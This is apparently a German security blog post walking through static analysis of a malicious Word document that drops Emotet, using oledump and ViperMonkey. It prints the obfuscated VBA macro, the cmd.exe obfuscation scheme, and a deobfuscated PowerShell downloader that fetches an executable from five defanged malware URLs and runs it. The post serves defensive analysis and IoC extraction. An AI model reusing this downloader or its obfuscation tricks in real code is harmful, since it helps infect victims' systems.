Statische Analyse von bösartigen Makros in Office-Dokumenten (am Beispiel der Schadsoftware Emotet)
Es begann mit einer Mail eines vermeintlichen Architekten, die einen Link auf eine Rechnung enthielt. Zwar war sofort klar, dass es sich nicht um eine legitime Rechnung handeln konnte, trotzdem setzte sich die Neugier durch, um was es sich wohl handelt. Der Link funktionierte noch und es konnte ein Word-Dokument auf ein Analyse-System heruntergeladen werden. Nachfolgend wird anhand dieses Beispiels beschrieben, wie eine statische Analyse von Word-Dokumenten oder anderen (Microsoft) Office-Dokumenten durchgeführt werden kann und wie die Ergebnisse aussehen.
Malware-Datenbanken sowie die dynamische Analyse von Schadcode
Um herauszufinden, ob eine Datei schädlich ist, stehen prinzipiell mehrere Wege zur Verfügung: der schnellste Weg besteht darin, in einer Informationsplattform für bekannte Schadsoftware nachzuschauen, wie sie beispielsweise von VirusTotal betrieben wird. Dazu wird lokal ein Hash-Wert (z. B. SHA1) von der Datei berechnet, anhand dessen die Schadsoftware oder Datei bei VirusTotal identifiziert werden kann. Ist die Datei dort noch unbekannt, kann diese auch direkt hochgeladen werden. Da aber zu VirusTotal hochgeladene Dateien mit einer größeren Community (sowie insbesondere der Antiviren-Industrie) geteilt werden, sollte man sich vorher vergewissern, dass keine vertraulichen Daten oder Informationen in der hochgeladenen Datei enthalten sind. Im Zweifelfall sollte man also auf diese Massnahme verzichten.
Eine weitere Möglichkeit besteht in der dynamischen Analyse. Dabei wird die zu untersuchende Datei oder das Programm in einer Analyse-Plattform (eine sog. Sandbox) geöffnet, die üblicherweise innerhalb einer virtuellen Maschine (VM) betrieben wird. Innerhalb einer solchen Sandbox werden bspw. Dokumente mit der Standard-Anwendung Microsoft Office geöffnet, Dateien werden direkt ausgeführt. Insbesondere werden nun innerhalb dieser Sandbox mögliche Netzwerk-Verbindungen und die aktuell laufenden sowie neu gestartete Prozesse aufgezeichnet und auf auffälliges bzw. für Schadsoftware typisches Verhalten hin überwacht. Ein Beispiel für eine frei verfügbare Sandbox ist mailAtCuckoo.
Statische Analyse
Die aufwändigste, aber auch präziseste Methode ist die statische Analyse. Für Microsoft Office-Dokumente gibt es von Didier Stevens und Philippe Lagadec umfangreiche, auf Python-Skripten basierende, frei verfügbare Tool-Sammlungen, die eine derartige Analyse deutlich unterstützen. Grundsätzlich gibt es mehrere Möglichkeiten für Angreifer, Schadcode mittels eines Dokuments auszuführen. Die erste Möglichkeit ist das Ausnutzen einer vorhandenen Schwachstelle in einem Office-Produkt, bspw. die hier beschriebene Schwachstelle CVE-2017-11826.
Es gibt jedoch in Microsoft Office-Produkten auch legitime Möglichkeiten, Code auszuführen, die von Angreifern ausgenutzt/missbraucht werden können. Die bekannteste ist das Einschleusen von Schadcode in Makros, wobei allerdings Code auch mittels Dynamic Data Exchange (DDE) Links ausgeführt werden kann. In beiden Fällen ist in der Regel eine Aktivierung bzw. Ausführung des Makros oder Link-Inhalts durch einen Benutzer erforderlich. Allerdings sind vielfältige Social Engineering-Techniken bekannt, durch die auch besonders vorsichtige Benutzer zu einer solchen Aktion verleitet werden könnten.
Vorbereitung
Microsoft Office-Dateien liegen entweder im Binärformat (.doc) oder als zip-gepackte XML-Datei (.docx) vor. In beiden Fällen sind Makros innerhalb des Dokuments im Binärformat OLE2 gespeichert, deren Struktur sich durch das Programm oledump darstellen läßt. Dabei werden Makros durch das Tag "M" gekennzeichnet (nachfolgend bspw. Stream "A10"):
> python oledump.py 125842369922398_2019.doc
A: editdata.mso A1: 523 'PROJECT' A2: 56 'PROJECTwm' A3: 9600 'VBA/_VBA_PROJECT' A4: 1575 'VBA/__SRP_0' A5: 110 'VBA/__SRP_1' A6: 220 'VBA/__SRP_2' A7: 66 'VBA/__SRP_3' A8: 820 'VBA/dir' A9: m 1156 'VBA/n5434' A10: M 18797 'VBA/z2228' A11: m 1103 'VBA/z3586' A12: 97 'n5434/\x01CompObj' A13: 262 'n5434/\x03VBFrame' A14: 38 'n5434/f' A15: 0 'n5434/o'
Extraktion des Makros
Sind keine Makros vorhanden, gibt diese Übersicht über die im Dokument enthaltenen Streams aber keine Informationen preis, ob andere Techniken der Code-Ausführung wie beispielsweise Exploits im Dokument vorhanden sind. In diesem Fall ist jedoch ein Makro im Stream A10 vorhanden; der entsprechende Makro-Code läßt sich dann ebenfalls mit oledump darstellen:
> python oledump.py -s 10 -v 125842369922398_2019.doc
Attribute VB_Name = "z2228"
Function a1551() On Error Resume Next m9033 = Cos(c2669) Select Case w3527 Case 162 i7023 = CLng(s8292) End Select l2833 = ChrW(o8514) Select Case j7622 Case 368 d8662 = Fix(i1092) End Select q9796 = ChrW(i2174) Select Case i721 Case 239 h2546 = Fix(q4557) End Select p7489 = "c:\z5407\w4651\" + "b3325\.." + "\..\..\w" + "indows\system3" + "2\cmd.exe" + " /c %Prog" + "ramData:~0,1%%" + "ProgramData:~9," + "2% /V:/C" + Chr(34) + "set " ....
Entfernen der primären Verschleierung
Ein erster Blick auf den Code ergibt, dass die Funktionalität stark durch Select Anweisungen und anderen Code verschleiert ("obfusziert") ist. Allerdings ist in der letzten dargestellten Zeile die Zeichenkette cmd.exe enthalten, die darauf schliessen lässt, dass innerhalb einer Windows Shell Schadcode ausgeführt werden soll. Da eine vollständige statische Analyse dieses Makro-Codes sehr aufwändig ist, bietet es sich an, den VBA Parser und Emulator ViperMonkey von Philippe Lagadec zu verwenden, dessen Anwendung zu folgendem Ergebnis führt:
> vmonkey 125842369922398_2019.doc Shell('c:\\z5407\\w4651\\b3325\\..\\..\\..\\windows\\system32\\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:/C" set HBER=Uv2PfSaAEL -u/5(xND6zIhel9i7+gw:GyOC\\WnbT_oJ1r@p\'dK;YBc)m8,%}F{j4M$~30kZ=tsQ.&& for %x in (47,42,....,19,48,51,83) do set Wxc4=!Wxc4!!HBER:~%x,1!&&if %x equ 83 echo !Wxc4:*Wxc4!=!|FOR /F "tokens=1 delims=3E.=q" %F IN (\'assoc^^^|findstr mdfi\')DO %F "')
Es ist jetzt zu erkennen, dass eine Windows Shell (cmd.exe) gestartet wird. Der wesentliche Bestandteil des Kommandos ist in diesem Beispiel ein Array mit Zahlen (47,42,....,19,48,51,83), das im obigen Code stark gekürzt wiedergegeben ist.
Entfernen der sekundären Verschleierung
Zwar ist nach dem ersten Schritt die Funktion des Codes immer noch verschleiert, allerdings ist die Methode der Verschleierung bereits von Didier Stevens ausführlich beschrieben worden: In der Variablen HBER befindet sich ein Array mit Zeichen (Code Alphabet), wobei die vorher erwähnten Zahlen in den Klammern Indizes auf entsprechende Zeichen innerhalb von HBER sind. In einer for Schleife wird dann jede dieser Zahlen in ein Zeichen des Alphabets dekodiert und die Ergebnisse werden in der Variablen Wxc4 kumuliert. Dabei ist zu beachten, dass der letzte Wert 83 das Ende des Codes angibt und kein Bestandteil des dekodierten Textes ist.
Abschliessend wird der Inhalt der Variablen Wxc4 per echo Kommando ausgegeben und in einer Windows cmd Shell ausgeführt (der Codeteil mit der FOR /F Schleife ist eine weitere "Gemeinheit" und wird zum Kommando cmd ausgewertet):
pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll # powershell
$f2143='l8207';
$l3926=new-object Net.WebClient;
$n2668='hxxp://vinsportiataymo.com/wp-includes/YtLEOv6oxsuGYM_7@hxxp://ismail-ceylan.com/MOFkpZeJ1j@hxxp://rukiyekayabasi.com/UIGJtOpITZZN@hxxp://testesfuncionais.pt/DpzKQykE_Ust6OJ@hxxp://davytopiol.creation-site.info/OLyagh9cCtf7UQ_fx'.Split('@');
$v5481='s1392';
$r1833 = '543';
$i9486='j9213';
$s5600= $env:temp+'\'+$r1833+'.exe';
foreach($w4235 in $n2668){
try{
$l3926.DownloadFile($w4235, $s5600);
$s9599='o1530';
If ((Get-Item $s5600).length -ge 40000) {
Invoke-Item $s5600;
$j7368='z2378';
break;
}
}catch{}
}$j9698='p2536';
Die erste Zeile enhält einen Windows PowerShell Aufruf, wobei die Zeichenkette powershell verschleiert ist und dynamisch durch die Windows cmd Shell rekonstruiert wird. Zerlegt man den String...
pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll
...in seine Bestandteile...
pow %PUBLIC:~5,1% r %SESSIONNAME:~-4,1% h %TEMP:~-3,1 % ll
...sieht man recht schnell die drei Windows Environment Variablen %PUBLIC% sowie %SESSIONNAME% und %TEMP%. Da diese Variablen in den meisten Fällen mit Windows-Standardwerten belegt sind (ausser %SESSIONNAME bei TerminalServer-Sitzungen)...
%PUBLIC% = C:\Users\Public ----------------^ 5. Character (von vorn)
%SESSIONNAME% = Console
-------------------^ 4. Character von hinten (wegen des Minuszeichens)
%TEMP% = C:\Users\{Username}\AppData\Local\Temp
--------------------------------------------^ 3. Character von hinten
...kennt man deren Belegung und es wird deutlich, dass aus dem verschleierten String das Wort powershell wird.
Die Variable $n2668 wiederum beinhaltet 5 URLs (in obigem Beispiel wurde http durch hxxp ersetzt), die jeweils auf Varianten der Emotet Schadsoftware verweisen. In einer Schleife wird jeweils geprüft, ob Schadsoftware heruntergeladen werden kann und diese wird dann im Erfolgsfall gespeichert und gestartet.
Aus der Sicht der operativen IT Security sind diese URLs wichtige Indikatoren (IoC: Indicator of Compromise) dafür, dass bereits Systeme im Netzwerk angegriffen bzw. kompromittiert worden sind. Es bietet sich beispielsweise an, nach diesen URLs bzw. den entsprechenden IP Adressen in Netflows und weiteren Logs (z. B. Web-Proxy) zu suchen. In unserem Fall konnte die Schadsoftware noch heruntergeladen werden. Inzwischen wird die Variante von vielen AV-Scannern erkannt.
Eine alternative und umfangreiche Analyse wurde von malwarebytes in englischer Sprache veröffentlicht (Teil 1, Teil 2). Eine allgemeine Übersicht über die Vorgehensweise bei der Analyse von Dokumenten ist im Analyzing Malicious Documents Cheat Sheet verfügbar.